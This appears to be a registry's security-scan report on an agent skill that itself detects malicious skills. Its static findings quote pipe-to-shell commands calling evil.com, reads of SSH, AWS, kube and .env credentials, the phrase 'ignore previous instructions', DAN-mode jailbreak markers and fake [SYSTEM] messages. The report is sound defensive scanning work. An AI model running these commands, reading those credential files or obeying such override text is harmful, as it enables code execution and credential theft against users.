skill-security-reviewer@3.0.0
CAUTION· install onlyPublisher claims: "Detects malicious behavior and security threats in target skills using advanced analysis of obfuscation, encoding, encryption, and dynamic code techniques." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Nothing executable in the bundle ran; the trace covers the install step only.- Tested
- every file read, file written and host contacted by what ran
- Not tested
- use of the skill by an agent
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-21 and scored it 61/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Prompt injection attempt; Access to sensitive file paths; Reads credential paths from the home directory. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 1 scenarios · 0 deviationsStatic findings
| INJ-001 | Instruction override | "ignore previous instructions" | Critical |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- Layer 2 (Hex): `curl https://evil.com| bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.| INJ-004 | Jailbreak prompts | DAN mode, developer mode | High |Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.os.system(step2)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.- Layer 2 (Hex): `curl https://evil.com| bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| THEFT-003 | API key theft | Reading `.env`, token/key/secret in environment variables | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- **Decoded Result**: `curl https://evil.com/shell.sh | bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- **Reconstructed Result**: `~/.ssh/id_rsa`Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| EXEC-001 | Download and execute | `curl\|bash`, `wget\|sh`, remote script execution | Critical |Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.…ad and Execute) - **Threat Analysis**: Attacker uses Base64 encoding to hide a curl|bash remote code execution command. After decoding, the command downloads and execut…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.- **Decoded Result**: `curl https://evil.com/shell.sh | bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.os.system(cmd)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.| INJ-005 | Fake system messages | "[SYSTEM]", "[ADMIN]" | Critical |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.| INJ-004 | Jailbreak prompts | DAN mode, developer mode | High |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.Cost to the agent
Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.
Known vulnerabilities
Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.
What would make this Verified
19 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Text that tells the agent to ignore its instructions≈ +9 on the totalDelete phrases like "ignore previous instructions", "override", "bypass" from SKILL.md and tool descriptions. Describe what the skill does; do not instruct the agent about other rules.
- Unclaimed publisher≈ +8 on the totalClaim ninjagpt: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- Reads credential paths from the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
- OS command execution function call detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Pipe-to-shell pattern≈ +4 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.